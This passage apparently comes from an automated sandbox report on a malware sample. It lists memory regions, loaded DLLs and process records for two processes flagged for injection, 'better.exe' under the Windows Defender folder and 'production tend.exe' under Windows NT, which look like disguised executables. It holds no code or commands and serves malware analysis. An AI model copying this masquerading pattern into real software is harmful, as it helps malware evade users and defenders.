0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 5884 start_va = 0x6c0000 end_va = 0x847fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 5885 start_va = 0x850000 end_va = 0x9d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 5886 start_va = 0xbb0000 end_va = 0xbb3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 5887 start_va = 0xbc0000 end_va = 0xbc3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Region: id = 5888 start_va = 0xc00000 end_va = 0xcfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 5889 start_va = 0xd00000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d00000" filename = "" Region: id = 5890 start_va = 0x2140000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 5891 start_va = 0x2150000 end_va = 0x220bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002150000" filename = "" Region: id = 5892 start_va = 0x2250000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 5893 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5894 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5895 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5896 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5897 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5898 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5899 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5900 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5901 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5902 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5903 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5904 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5905 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5906 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5907 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5908 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5909 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5910 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5911 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5912 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5913 start_va = 0x7f9d0000 end_va = 0x7facffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f9d0000" filename = "" Region: id = 5914 start_va = 0x7fad0000 end_va = 0x7faf2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007fad0000" filename = "" Region: id = 5915 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5916 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5917 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5918 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5919 start_va = 0xbd0000 end_va = 0xbd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 5920 start_va = 0xbe0000 end_va = 0xbe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000be0000" filename = "" Region: id = 5921 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5922 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5923 start_va = 0x5c0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 5924 start_va = 0xbf0000 end_va = 0xbf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bf0000" filename = "" Region: id = 5925 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5995 start_va = 0x2100000 end_va = 0x2100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002100000" filename = "" Region: id = 5996 start_va = 0x2260000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 5997 start_va = 0x22e0000 end_va = 0x2616fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 175 os_tid = 0xdb4 Thread: id = 176 os_tid = 0xda0 Thread: id = 396 os_tid = 0xd38 Process: id = "17" image_name = "better.exe" filename = "c:\\program files (x86)\\windows defender\\better.exe" page_root = "0x5327e000" os_pid = "0xd5c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Defender\\better.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Defender\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3188 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3189 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3190 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3191 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3192 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3193 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3194 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3195 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3196 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3197 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3198 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 3199 start_va = 0x4b0000 end_va = 0x56dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3200 start_va = 0x670000 end_va = 0x7f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 3201 start_va = 0x800000 end_va = 0x980fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 3202 start_va = 0xab0000 end_va = 0xab3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3203 start_va = 0xac0000 end_va = 0xac3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 3204 start_va = 0xb00000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 3205 start_va = 0xc50000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 3206 start_va = 0xc60000 end_va = 0xd1bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c60000" filename = "" Region: id = 3207 start_va = 0xd50000 end_va = 0xd66fff monitored = 0 entry_point = 0xd514a1 region_type = mapped_file name = "better.exe" filename = "\\Program Files (x86)\\Windows Defender\\better.exe" (normalized: "c:\\program files (x86)\\windows defender\\better.exe") Region: id = 3208 start_va = 0xd70000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d70000" filename = "" Region: id = 3209 start_va = 0x22e0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 3210 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3211 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3212 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3213 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3214 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3215 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3216 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3217 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3218 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3219 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3220 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3221 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3222 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3223 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3224 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3225 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3226 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3227 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3228 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3229 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3230 start_va = 0x7f1f0000 end_va = 0x7f2effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f1f0000" filename = "" Region: id = 3231 start_va = 0x7f2f0000 end_va = 0x7f312fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f2f0000" filename = "" Region: id = 3232 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3233 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3234 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3235 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3236 start_va = 0xad0000 end_va = 0xad3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 3237 start_va = 0xae0000 end_va = 0xae0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 3238 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3239 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3240 start_va = 0x570000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 3241 start_va = 0xaf0000 end_va = 0xaf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 3242 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 3243 start_va = 0xc00000 end_va = 0xc00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 3244 start_va = 0x2170000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 3245 start_va = 0x22f0000 end_va = 0x2626fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 177 os_tid = 0xda4 Thread: id = 178 os_tid = 0xd60 Thread: id = 352 os_tid = 0xc5c Process: id = "18" image_name = "production tend.exe" filename = "c:\\program files\\windows nt\\production tend.exe" page_root = "0x525c2000" os_pid = "0xd8c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows NT\\production tend.exe\" " cur_dir = "C:\\Program Files\\Windows NT\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3304 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3305 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3306 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3307 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3308 start_va = 0x90000 end_va = 0x93fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 3309 start_va = 0xa0000 end_va = 0xa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3310 start_va = 0xb0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3311 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 3312 start_va = 0x1c0000 end_va = 0x1c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3313 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3314 start_va = 0x1e0000 end_va = 0x1e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 3315 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3316 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3317 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 3318 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 3319 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 3320 start_va = 0x6d0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 3321 start_va = 0x7d0000 end_va = 0x957fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 3322 start_va = 0x960000 end_va = 0xa1bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 3323 start_va = 0xa20000 end_va = 0xa36fff monitored = 0 entry_point = 0xa214a1 region_type = mapped_file name = "production tend.exe" filename = "\\Program Files\\Windows NT\\production tend.exe" (normalized: "c:\\program files\\windows nt\\production tend.exe") Region: id = 3324 start_va = 0xa40000 end_va = 0xbc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 3325 start_va = 0xbd0000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 3326 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3327 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3328 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3329 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3330 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3331 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3332 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3333 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3334 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3335 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3336 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3337 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" 